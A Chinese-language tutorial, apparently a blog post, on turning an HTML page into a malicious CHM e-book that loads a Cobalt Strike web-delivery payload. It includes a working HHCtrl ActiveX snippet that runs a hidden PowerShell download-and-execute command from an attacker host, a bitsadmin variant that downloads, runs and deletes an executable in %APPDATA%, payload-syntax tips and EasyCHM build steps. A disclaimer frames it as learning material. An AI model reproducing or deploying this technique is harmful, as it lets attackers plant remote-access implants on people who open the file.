电子书(chm)-加载JS--CS上线

免责声明:

本文仅做技术交流与学习...

目录

cs--web投递

html(js)代码

html生成chm工具--EasyCHM

[1-选择powershell 模式 生成](#1-选择powershell 模式 生成)

2-选择bitsadmin模式生成

chm反编译成html


cs--web投递

cs配置监听器--->攻击---->web投递--->

端口选择没占用的,

URL路径到时候会在你的服务器自动生成,

选择监听器.

html(js)代码

html 复制代码
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://IP:PORT/a'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

生成后的初始命令:

1、powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxx/a'))"

2、cmd.exe /c bitsadmin /transfer 0218 http://xxx:xx/a %APPDATA%\0218.exe&%APPDATA%\0218.exe&del %APPDATA%\0218.exe

要注意三个地方:

<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://IP:PORT/a'))">

(1) value值的第一个为逗号

(2)生成的命令带双引号的话就去掉

(3)调用cmd或powershell程序后面要加逗号


html生成chm工具--EasyCHM

生成chm之前提前把html放在一个文件夹里.

--->成功生成chm


1-选择powershell 模式 生成

运行--->


2-选择bitsadmin模式生成

与上面方法一样

--生成payload后--->替换到html中---->编译生成chm---->执行

需要数据传输完成才能上线.


chm反编译成html

hh.exe软件windows自带.

hh.exe -decompile .\\html xxx.chm

相关推荐
前端之虎陈随易30 分钟前
2年没用Nodejs了,Bun很香
linux·前端·javascript·vue.js·typescript
Hooray1 小时前
用时7天,花费30元,我vibe coding这个网站
前端·agent·ai编程
小小高不懂写代码1 小时前
RAG--检索增强生成--原理及实战
前端·人工智能
FeelTouch Labs1 小时前
开源安全治理体系建设
安全·开源
空中海1 小时前
04 工程化、质量体系与 React 生态
前端·ubuntu·react.js
好运的阿财2 小时前
OpenClaw工具拆解之host_workspace_write+host_workspace_edit
前端·javascript·人工智能·机器学习·ai编程·openclaw·openclaw工具
一拳一个娘娘腔2 小时前
内网权限维持实战体系:从单机寄生到域控信任链的深度解析
网络·安全·信任链
qq 13740186112 小时前
GB/T 19450-2004 纸基平托盘 安全检测 + 质量检测全流程实操指南
功能测试·安全·可用性测试·安全性测试
ffqws_3 小时前
Spring Boot 接收前端请求的四种参数方式
前端·spring boot·后端